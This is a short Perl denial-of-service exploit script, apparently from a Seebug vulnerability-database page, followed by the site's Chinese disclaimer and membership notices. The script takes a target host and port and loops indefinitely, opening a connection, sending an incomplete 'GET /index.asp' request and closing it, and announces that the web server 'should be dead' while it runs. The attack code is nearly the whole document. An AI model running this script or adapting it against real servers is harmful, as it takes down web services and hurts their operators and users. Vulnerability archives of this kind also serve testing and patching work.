#!/usr/bin/perl use Socket; (($target = $ARGV[0]) && ($port = $ARGV[1])) || die "Usage: $0 ", "<target> <port> \n"; print "\nThe Webserver on http://$target:$port should be dead until", "this script is running\n"; while (1) { $ip = inet_aton($target) || die "host($target) not found.\n"; $sockaddr = pack_sockaddr_in($port, $ip); socket(SOCKET, PF_INET, SOCK_STREAM, 0) || die "socket error.\n"; connect(SOCKET, $sockaddr) || die "connect $target $port error.\n"; print SOCKET "GET /index.asp"; print "Request sent ...\n"; close(SOCKET); sleep 1; };
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
共 3 兑换
京公网安备 11010502034610号
暂无评论